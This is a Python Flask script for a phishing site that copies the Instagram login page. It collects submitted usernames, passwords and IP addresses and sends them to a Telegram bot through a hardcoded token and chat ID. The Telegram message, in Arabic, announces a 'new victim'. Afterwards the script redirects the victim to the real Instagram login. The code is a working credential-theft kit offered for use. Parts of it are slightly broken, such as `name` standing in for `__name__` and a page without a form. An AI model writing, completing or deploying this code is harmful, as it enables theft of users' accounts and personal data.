import requests
import sqlite3
from flask import Flask, request, redirect, render_template_string
from threading import Thread
from cryptography.fernet import Fernet
app = Flask(name)
app.secret_key = "INSTA_DEATH_CODE"
API_KEY = "7641235883:AAGkJG7PbgZ3UXwmr6L3fR930xxSo"
CHAT_ID = "-1792947905"
TG_URL = f"https://api.telegram.org/bot{API_KEY}/sendMessage"
KEY = Fernet.generate_key()
cipher = Fernet(KEY)
PHISH_PAGE = """
<title>Instagram</title> <style> :root { --ig-blue: #0095f6; } body { background: #fafafa; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Arial; } .container { max-width: 350px; margin: 60px auto; } .logo { width: 175px; margin: 0 auto 30px; display: block; } input { width: 100%; padding: 12px; margin: 8px 0; border: 1px solid #dbdbdb; border-radius: 3px; } button { background: var(--ig-blue); width: 100%; padding: 12px; border: none; border-radius: 8px; color: white; } .footer { text-align: center; margin-top: 20px; color: #8e8e8e; } </style> """def send_to_telegram(user, passw, ip):
try:
msg = f"🎯 ضحية جديدة!\nيوزر: {user}\nباسورد: {passw}\nIP: {ip}"
requests.post(TG_URL, json={"chat_id": CHAT_ID, "text": msg}, timeout=3)
except:
pass
@app.route('/login', methods=['POST'])
def hell_gate():
user = request.form.get('username')
passw = request.form.get('password')
ip = request.remote_addr
Thread(target=send_to_telegram, args=(user, passw, ip)).start()
return redirect("https://www.instagram.com/accounts/login/?hl=ar")
@app.route('/')
def fake_ig():
return render_template_string(PHISH_PAGE)
if name == "main":
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')